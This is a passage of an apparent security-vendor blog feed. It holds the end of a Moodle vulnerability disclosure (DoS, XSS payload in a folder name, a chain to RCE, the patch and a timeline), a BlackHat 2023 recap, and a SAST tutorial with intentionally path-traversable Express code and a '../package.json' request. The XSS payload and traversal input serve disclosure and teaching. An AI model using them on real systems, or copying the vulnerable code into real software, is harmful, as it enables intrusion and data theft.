//...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to determine ways, how this could be exploited, we can assume that any folder name on the server is equivalent to an attacker’s input. From here we can go over all PHP code, that interacts with folders/files and consider them as sources. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;Some of the PHP functions, which should be considered for example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;glob&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;*dir (scandir/opendir/readdir/closedir)&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;realpath&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;…&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using this approach, we encountered an interesting code flow. When an admin visits the site administration page the following code is executed: &lt;br/&gt;&lt;code&gt;lib/adminlib.php&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;       foreach (glob($CFG-&gt;dirroot.&apos;/&apos;.$CFG-&gt;admin.&apos;/settings/*.php&apos;) as $file) {
           if ($file == $CFG-&gt;dirroot.&apos;/&apos;.$CFG-&gt;admin.&apos;/settings/top.php&apos;) {
               continue;
           }
           if ($file == $CFG-&gt;dirroot.&apos;/&apos;.$CFG-&gt;admin.&apos;/settings/plugins.php&apos;) {
           // plugins are loaded last - they may insert pages anywhere
               continue;
           }
           require($file);
       }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The loop iterates over every file that ends with &lt;code&gt;.php&lt;/code&gt; in the &lt;code&gt;admin/settings&lt;/code&gt; and tries to &lt;code&gt;require&lt;/code&gt; it. An attacker can simply add a folder that ends with&lt;code&gt;.php&lt;/code&gt; at &lt;code&gt;/var/www/html/admin/settings/*.php&lt;/code&gt; and crash all administration pages. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6973b581-e1d4-4c72-ac59-8ba624786c9e/moodle-admin-dashboard-dos.png&quot; /&gt;&lt;p&gt;This attack on the admin panel is limited to a Denial of Service (DoS), but we were curious, if attackers may even gain RCE.&lt;/p&gt;&lt;h4&gt;XSS from arbitrary folder creation&lt;/h4&gt;&lt;p&gt;Moodle offers methods for teachers and students to share learning materials and submissions, which could be in the form of files like word-processed documents or slideshow presentations. By default, Moodle supports a number of file types. An administrator can &lt;a href=&quot;https://docs.moodle.org/402/en/Working_with_files#Adding_a_new_file_type&quot;&gt;add&lt;/a&gt; other file types to their Moodle instance. Doing so requires choosing a corresponding icon that will represent the file type. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;The code at &lt;code&gt;admin/tool/filetypes/classes/utils.php&lt;/code&gt; lists the available icons by iterating over the files (&lt;strong&gt;including folders&lt;/strong&gt;) that end with &lt;code&gt;.svg&lt;/code&gt;/&lt;code&gt;.gif&lt;/code&gt;/&lt;code&gt;.png&lt;/code&gt; in a dedicated path: &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function get_icons_from_path($path) {
        $icons = array();
        if ($handle = @opendir($path)) {
            while (($file = readdir($handle)) !== false) {
                $matches = array();
                if (preg_match(&apos;~(.+?)(?:-24|-32|-48|-64|-72|-80|-96|-128|-256)?\.(?:svg|gif|png)$~&apos;,
                        $file, $matches)) {
                    $key = $matches[1];
                    $icons[$key] = $key;
                }
            }
            closedir($handle);
        }
        ksort($icons);
        return $icons;
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The name of the files/folders are displayed on the page without sanitization (&lt;code&gt;admin/tool/filetypes/edit_form.php&lt;/code&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$fileicons = \tool_filetypes\utils::get_file_icons();
$mform-&gt;addElement(&apos;select&apos;, &apos;icon&apos;, get_string(&apos;icon&apos;, &apos;tool_filetypes&apos;), $fileicons);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to inject malicious JavaScript code, an attacker can create the following folder:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;var/www/html/pix/f/&amp;lt;input&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;.png &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an admin tries to add a new filetype from the server settings page (&lt;a href=&quot;http://localhost/admin/tool/filetypes/edit.php?name=add&quot;&gt;http://moodle-domain/admin/tool/filetypes/edit.php?name=add&lt;/a&gt;), the folder name is reflected on the HTML page, and the JavaScript payload is executed in the context of the admin account.  Because the folder name is reflected inside a &lt;code&gt;select&lt;/code&gt; tag the attacker needs an &lt;code&gt;input&lt;/code&gt; tag first to &lt;a href=&quot;https://html.spec.whatwg.org/#parsing-main-inselect&quot;&gt;break out&lt;/a&gt;, causing the &lt;code&gt;img&lt;/code&gt; to render and JavaScript to run. This vulnerability can be exploited in a Cross-Site Scripting (XSS) attack against an admin user to achieve remote code execution on the server, as &lt;a href=&quot;https://cube01.io/blog/Moodle-DOM-Stored-XSS-to-RCE.html&quot;&gt;demonstrated&lt;/a&gt; before via plugin installation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.moodle.org/402/en/Installing_plugins&quot;&gt;Plugins&lt;/a&gt; in Moodle are additional PHP code made to provide custom features and functionalities. Using Moodle’s web interface, admins can conveniently install user &lt;a href=&quot;https://moodle.org/plugins/&quot;&gt;shared&lt;/a&gt; plugins, or install their own from a local zip. Since plugins are simply PHP code, an attacker-controlled plugin is equivalent to arbitrary code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are probably other ways to exploit this vulnerability, but this XSS on the “new filetype” page demonstrates how an unauthenticated attacker can execute arbitrary code on the Moodle server by installing a malicious plugin.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The vulnerability was &lt;a href=&quot;https://github.com/moodle/moodle/commit/59d42e1ed23f916dcb47d53c745bef18a116d800&quot;&gt;fixed&lt;/a&gt; in versions 4.1.3 and 4.2.0 by casting the &lt;code&gt;$rev&lt;/code&gt; parameter to integers in both files:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;            [$rev, $lang] = explode(&apos;/&apos;, $slashargument, 2);
-           $rev  = min_clean_param($rev, &apos;RAW&apos;);
+           $rev  = min_clean_param($rev, &apos;INT&apos;);
            $lang = min_clean_param($lang, &apos;SAFEDIR&apos;);
        } else {
-           $rev  = min_optional_param(&apos;rev&apos;, 0, &apos;RAW&apos;);
+           $rev  = min_optional_param(&apos;rev&apos;, 0, &apos;INT&apos;);
            $lang = min_optional_param(&apos;lang&apos;, &apos;standard&apos;, &apos;SAFEDIR&apos;);
        }&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;            [$rev, $filepath] = explode(&apos;/&apos;, $slashargument, 2);
-           $this-&gt;rev  = min_clean_param($rev, &apos;RAW&apos;);
+           $this-&gt;rev  = min_clean_param($rev, &apos;INT&apos;);
            $this-&gt;filepath = min_clean_param($filepath, &apos;SAFEPATH&apos;);
        } else {
-           $this-&gt;rev  = min_optional_param(&apos;rev&apos;, 0, &apos;RAW&apos;);
+           $this-&gt;rev  = min_optional_param(&apos;rev&apos;, 0, &apos;INT&apos;);
            $this-&gt;filepath = min_optional_param(&apos;filepath&apos;, &apos;standard&apos;, &apos;SAFEPATH&apos;);
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, an attacker cannot control the name of a folder nor traverse back directories in order to create arbitrary folders on the server.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-22&lt;/td&gt;&lt;td&gt;We report all issues to Vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-19&lt;/td&gt;&lt;td&gt;Vendor patched the vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-01&lt;/td&gt;&lt;td&gt;Vendor released security advisory and CVE-2023-30943 was assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we showed how an unauthenticated actor could create an arbitrary folder on a Moodle server, an apparently innocuous action, to then trigger a Cross-Site Scripting vulnerability on the administration panel. With existing features of Moodle, this primitive can be turned into Remote Code Execution, ultimately granting an unauthenticated attacker arbitrary code execution on the server. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the second article coming on August 29th, we will dive into how attackers could take over accounts by chaining minor vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would also like to thank Moodle for their responsiveness and great communication.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-stored-xss-vulnerability/&quot;&gt;WordPress 5.8.2 Stored XSS Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/magento-rce-via-xss/&quot;&gt;Magento 2.3.1: Unauthenticated Stored XSS to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/smartstorenet-malicious-message-leading-to-e-commerce-takeover/&quot;&gt;SmartStoreNET - Malicious Message leading to E-Commerce Takeover&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/odoo-get-your-content-type-right-or-else/&quot;&gt;Odoo: Get your Content Type right, or else!&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[BlackHat 2023: Hackers, Casinos, and an Exciting Announcement]]></title><description><![CDATA[The Sonar team of developers are just returning from their trip to Las Vegas where they attended BlackHat USA 2023.  If you were not able to make it, here is what you missed.]]></description><link>https://www.sonarsource.com/blog/blackhat-2023-overview</link><guid isPermaLink="false">044e8584-1431-5add-a791-0ec686e11d25</guid><dc:creator><![CDATA[Kirti Joshi | Thomas Chauchefoin]]></dc:creator><pubDate>Fri, 18 Aug 2023 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/us-23/&quot;&gt;BlackHat USA 2023&lt;/a&gt; was in full swing this year – bustling hallways, packed briefings that discussed a variety of topics including Application Security, Cloud security, and AI/Data Science. Sonar was an integral part of this show. Here’s our recap of the event. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping with the AI trend, AI-powered security products were everywhere this year. And DARPA picked the perfect week to announce their new AI Cyber Challenge where up to twenty teams that demonstrate the use of AI to detect and remedy flaws could win millions in prize money. Anne Neuberger, deputy national security advisor for cyber and emerging technology in the Biden administration, insisted that &amp;quot;Defense always has to be one step ahead&amp;quot; – which we strongly agree. This is especially pertinent with the volumes of code being created with generative models and how important it is to have guard rails in place to check adherence to standards. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;New innovation announcement: Sonar deeper SAST&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Throughout the conference, we were highly engaged in talks and demos about how security is deeply rooted in code and how important it is for organizations to focus on their codebase health for secure software delivery – a sentiment that DevSecOps leads and CISOs completely agreed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We launched &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;deeper SAST&lt;/a&gt; at the event: an innovative technology that discovers vulnerabilities created by the interaction of user code with third-party, open-source libraries. This new advanced detection addressed issues that traditional SAST tools miss by failing to follow the flow within the library code. This technology is able to understand the context and use of third-party libraries to find deeply hidden security vulnerabilities in user code – making huge strides in the depth of security analysis at the code level. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are interested in learning more, you can check out the full &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-new-deep-analysis-capability/&quot;&gt;deeper SAST&lt;/a&gt; announcement. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/918f14c7-6e78-4b3d-92db-fa0361500a41/blackhat-usa-2023-sonar-SAST-presentation.jpeg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Here come the Pwnies&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ae8340f3-d809-4e58-b944-bd00e1d0981f/blackhat-usa-2023-pwnie-awards-v2.jpg&quot; /&gt;&lt;p&gt;This year again, two of our researchers were nominated to the Pwnie Awards, a community event that &amp;quot;recognize[s] both excellence and incompetence in the field of information security&amp;quot;:  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Stefan Schiller in the category &lt;em&gt;Best Remote Code Execution&lt;/em&gt; for his meticulous bug chain in Checkmk (&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-3/&quot;&gt;3&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;Thomas Chauchefoin in the category &lt;em&gt;Epic Achievement&lt;/em&gt; for his work on the PHP supply chain that prevented the compromise of millions of servers (&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;1&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both categories had strong contenders, and although we ultimately didn’t win, it was an achievement to be even nominated. The Pwnie for the &lt;em&gt;Best Remote Code Execution &lt;/em&gt;went to Simon Scannell—an ex-SonarSourcer now Security Engineer at Google—for his findings on the open-source antivirus software ClamAV. The &lt;em&gt;Epic Achievement&lt;/em&gt; award went to Clément Lecigne of Google TAG for burning about 33 0-days that were being actively exploited in the wild.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We really had fun during the ceremony; thanks again to the organizers and all participants!&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;DEF CON&lt;/strong&gt;&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/08683e9c-9bc5-49d1-95ef-1082805d313f/blackhat-2023-vulnerability-research-presentation-v2.jpeg&quot; /&gt;&lt;p&gt;Our Vulnerability Researchers stuck around for a few more days to attend one of the oldest security conferences, DEF CON – attracting over 24,000 hackers from around the world. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the largest track of the main event, Thomas and Paul presented the latest version of their talk on the security of the code editor Visual Studio Code in which they found critical vulnerabilities. They also included the details of bugs found by other researchers over the last years to identify the most common sources of risk in this software. The security of developer tools is of the uttermost importance as they are a target of choice for threat actors to gain access to confidential source code or sensitive internal services. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Among the conclusions, they noted that despite a common belief, previous vulnerabilities in a given software component don&amp;#x27;t mean that it should now be considered secure—they mostly hint at fragile code! It proved itself true during the preparation of the talk, where two new vulnerabilities were identified. The Sonar R&amp;amp;D team promptly reported them to Microsoft and will share more details once a patch is available. Stay tuned to hear more about them. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;DEF CON is a vibrant community meeting where many other sub-events take place. For instance, we headed to the AppSec Village for a talk from GitHub engineers on running a successful bug bounty program like theirs. There were also the top Capture the Flag competitions DEF CON Finals and Hack-a-Sat. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c352800c-8f32-4032-a81e-ef79868af2d4/blackhat-2023-cyberpunk-screen-v2.jpg&quot; /&gt;&lt;h2&gt;Takeaways&lt;/h2&gt;&lt;p&gt;BlackHat was a great event. We are very proud of the work we launched on deeper SAST. This innovation addresses a major gap in modern SAST solutions and will help our customers deepen their security coverage against advanced attacks. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are also happy that the so-called &amp;quot;Hacker Summer Camp&amp;quot; still attracts a broad range of profiles, from students and hobbyists to industry veterans. The most impactful presentations are not always the technical ones, and we leave Las Vegas with a lot of food for thought.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Up next, we&amp;#x27;ll be at &lt;a href=&quot;https://dotnetday.ch/&quot;&gt;.NET Day&lt;/a&gt; on August 29, at the &lt;a href=&quot;https://events.linuxfoundation.org/open-source-summit-europe/&quot;&gt;Open Source Summit Europe&lt;/a&gt; on September 19, and at &lt;a href=&quot;https://www.hexacon.fr/&quot;&gt;Hexacon&lt;/a&gt; later in Oct where our teams are always looking forward to meeting you and discussing everything Clean Code. See you there!  👋&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is deeper SAST in JavaScript?]]></title><description><![CDATA[What is SAST, what does deeper SAST mean, and how does this apply to your JavaScript and TypeScript applications?]]></description><link>https://www.sonarsource.com/blog/deeper-sast-javascript</link><guid isPermaLink="false">ab109e12-8b0d-5ceb-a972-45e80b8e1e4c</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Thu, 17 Aug 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Deeper SAST expands the capabilities of &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;Sonar&amp;#x27;s SAST&lt;/a&gt; to help you detect more security vulnerabilities in your JavaScript or TypeScript applications. Now you can discover and fix security issues that arise from interactions between your code and the third-party, open-source libraries you use.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This all sounds very useful, but what even is SAST? And how does deeper SAST improve things and help you write Clean Code in JavaScript or TypeScript?&lt;/p&gt;&lt;h2&gt;What is SAST?&lt;/h2&gt;&lt;p&gt;SAST stands for Static Application Security Testing. It&amp;#x27;s a form of &lt;a href=&quot;https://en.wikipedia.org/wiki/White-box_testing&quot;&gt;white-box testing&lt;/a&gt; in which your application&amp;#x27;s source code is scanned for potential vulnerabilities. Writing &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt; can help to ensure your application is free from these vulnerabilities and using SAST helps to detect issues as you build.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you use &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; or &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; to analyse your source code, it uses static analysis to detect issues in your code that cause bugs and security vulnerabilities. There are two types of vulnerabilities that Sonar scans for:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Injection attacks, like:&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-3649/&quot;&gt;SQL injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-2083/&quot;&gt;Path injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5696/&quot;&gt;Cross-site scripting (XSS)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Configuration vulnerabilities, like&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Security%20Hotspot/RSPEC-3330/&quot;&gt;Creating cookies without the HttpOnly flag&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5547/&quot;&gt;Using weak cipher algorithms in cryptography&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Security%20Hotspot/RSPEC-2068/&quot;&gt;Hardcoding credentials&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Configuration vulnerabilities are often due to mistakes like using the wrong parameter when calling a sensitive function, whereas injection vulnerabilities are a bit more tricky.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Injection vulnerabilities are detected by a technique called &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-taint-analysis/&quot;&gt;taint analysis&lt;/a&gt;. Taint analysis determines whether potentially malicious user input makes it through your application to a sensitive output like a database or file system, or if it&amp;#x27;s used by the front end to generate the user interface.&lt;/p&gt;&lt;h3&gt;Taint Analysis&lt;/h3&gt;&lt;p&gt;Taint analysis detects the following in your application code:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;User inputs to a system (sources)&lt;/li&gt;&lt;li&gt;Functions that make user input safe (sanitisers)&lt;/li&gt;&lt;li&gt;Functions that check to see if user input is safe (validators)&lt;/li&gt;&lt;li&gt;Sensitive functions that receive user input and could be exploited (sinks)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once the analysis understands the sources, sanitisers, validators, and sinks in a system, it can track the user input from the source and ensure that it is either sanitised or validated before it is used as an argument to a sink. If user input makes it through to a sink without being sanitised or validated, then you have an injection vulnerability in your code.&lt;/p&gt;&lt;h3&gt;Example&lt;/h3&gt;&lt;p&gt;Let&amp;#x27;s see what this means in practice in a code base. Here is an excerpt from an &lt;a href=&quot;https://expressjs.com/&quot;&gt;Express&lt;/a&gt; application with a route that dynamically returns a file from the filesystem based on a query parameter. The code is intentionally simple and vulnerable to a path injection, also known as a directory traversal, attack.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// server.js
import Express from &quot;express&quot;;
import { getImage } from &quot;./image-fs.js&quot;;
export const app = Express();
app.get(&quot;/image&quot;, getImage);&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// image-fs.js
import { stat } from &quot;node:fs/promises&quot;;
import { createReadStream } from &quot;node:fs&quot;;
import { fileURLToPath } from &quot;node:url&quot;;
import { join } from &quot;node:path&quot;;

const __dirname = fileURLToPath(new URL(&quot;.&quot;, import.meta.url));

export async function getImage(req, res) {
  const filename = String(req.query.filename);
  if (filename) {
    const file = join(__dirname, &quot;..&quot;, &quot;images&quot;, filename);
    try {
      const fsStat = await stat(file);
      if (fsStat.isFile()) {
        createReadStream(file).pipe(res);
      } else {
        res.status(404).json({ error: &quot;file not found&quot; });
      }
    } catch (error) {
      res.status(404).json({ error: &quot;file not found&quot; });
    }
  } else {
    res.status(400).json({ error: &quot;filename is required&quot; });
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The SonarCloud analysis of this code looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8465be57-a534-4d2d-a885-e70bdf863d51/image1.png&quot; /&gt;&lt;p&gt;SonarCloud detects a source in &lt;code&gt;server.js&lt;/code&gt;: the user controls the incoming HTTP request, so we cannot trust it. The user input is passed to the &lt;code&gt;getImages&lt;/code&gt; function, which is concatenated with other data using the &lt;a href=&quot;https://nodejs.org/api/path.html#pathjoinpaths&quot;&gt;path module&amp;#x27;s &lt;code&gt;join&lt;/code&gt; function&lt;/a&gt;. The resulting path is then passed to the &lt;a href=&quot;https://nodejs.org/api/fs.html#fscreatereadstreampath-options&quot;&gt;&lt;code&gt;fs&lt;/code&gt; module&amp;#x27;s &lt;code&gt;createReadStream&lt;/code&gt; function&lt;/a&gt;, and the file contents are streamed to the response object and back to the user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because we never sanitise or check the data from the user, this code is vulnerable to a directory traversal attack illustrated in the SonarCloud analysis. The code is supposed only to read files from the images directory, but if you, for example, pass a filename like &lt;code&gt;&amp;quot;/images?filename=../package.json&amp;quot;&lt;/code&gt; then you will get back the project&amp;#x27;s package.json file. You can run this application and try it yourself with &lt;a href=&quot;https://github.com/philnash/deeper-sast-javascript&quot;&gt;the source code available on GitHub&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a relatively simple issue, but it can be challenging to keep track of it in your head when user input passes through more functions and more files. That&amp;#x27;s where SAST comes in.&lt;/p&gt;&lt;h2&gt;So what is deeper SAST?&lt;/h2&gt;&lt;p&gt;Traditional SAST analyses your application code, but it does so with no understanding of your application&amp;#x27;s dependencies. It is rare to find a JavaScript or TypeScript application that doesn&amp;#x27;t use third-party libraries from npm. If you&amp;#x27;ve ever peeked inside your &lt;code&gt;node_modules&lt;/code&gt; directory, you will know intuitively that scanning all of those dependencies would be terrible for the performance of the scanning process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, we may miss out on potential vulnerabilities by treating our dependencies as safe black boxes. To counteract that, Sonar now pre-scans popular open-source libraries to find sources, sinks and sanitisers and makes that data available to our taint analysis engine. Sonar&amp;#x27;s taint analysis can then better understand the interactions between your code and your dependencies&amp;#x27; code gaining a greater understanding of how user input enters your application, flows through it, and where tainted data might exit causing a vulnerability. Notably, deeper SAST does not look for vulnerabilities in the dependency code, instead, it finds interactions that can make your code vulnerable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities/&quot;&gt;Deeper SAST enhances Sonar&amp;#x27;s taint analysis&lt;/a&gt; with deep knowledge about your dependencies to uncover hidden vulnerabilities.&lt;/p&gt;&lt;h3&gt;Example&lt;/h3&gt;&lt;p&gt;One of the dependencies that we now scan is &lt;a href=&quot;https://www.npmjs.com/package/fs-extra&quot;&gt;&lt;code&gt;fs-extra&lt;/code&gt;&lt;/a&gt;. This library wraps Node&amp;#x27;s &lt;code&gt;fs&lt;/code&gt; module and adds extra file system functionality. You can use &lt;code&gt;fs-extra&lt;/code&gt; as a drop-in replacement for fs, any function that &lt;code&gt;fs-extra&lt;/code&gt; doesn&amp;#x27;t implement is passed on to fs. These are the changes I made to the code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;- import { stat } from &quot;node:fs/promises&quot;;
- import { createReadStream } from &quot;node:fs&quot;;
+ import fsExtra from &quot;fs-extra&quot;;
+ const { stat, createReadStream } = fsExtra;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, I have only changed the imports. The actual code has stayed the same, but with traditional SAST the vulnerability would no longer be detected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now with deeper SAST, the vulnerability is caught just like the direct call to the &lt;code&gt;fs&lt;/code&gt; module. All the additional &lt;code&gt;fs-extra&lt;/code&gt; functions are also covered, so path traversal vulnerabilities will be detected when using potentially dangerous functions like &lt;a href=&quot;https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/remove.md&quot;&gt;&lt;code&gt;remove&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/386769cd-b4ef-4b48-8e94-b1ea48f0990d/image2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the above screenshot, we see the results of scanning a file called &lt;code&gt;image-fs-extra.js&lt;/code&gt;. This file is using &lt;code&gt;fs-extra&lt;/code&gt; instead of the &lt;code&gt;fs&lt;/code&gt; module and the vulnerability is still caught. You can check out &lt;a href=&quot;https://github.com/philnash/deeper-sast-javascript&quot;&gt;the full source code of this project on GitHub&lt;/a&gt; and &lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;id=philnash_deeper-sast-javascript&quot;&gt;see the analysis results in SonarCloud&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Clean Code is secure code&lt;/h2&gt;&lt;p&gt;Avoiding injection attacks is a case of understanding how user input flows into and through your application and always sanitising or validating it before it is sent to sinks like functions that deal with the file system or databases. SAST can help you detect these application issues by tracking tainted data across functions and files. Deeper SAST goes further by understanding popular open-source libraries and their 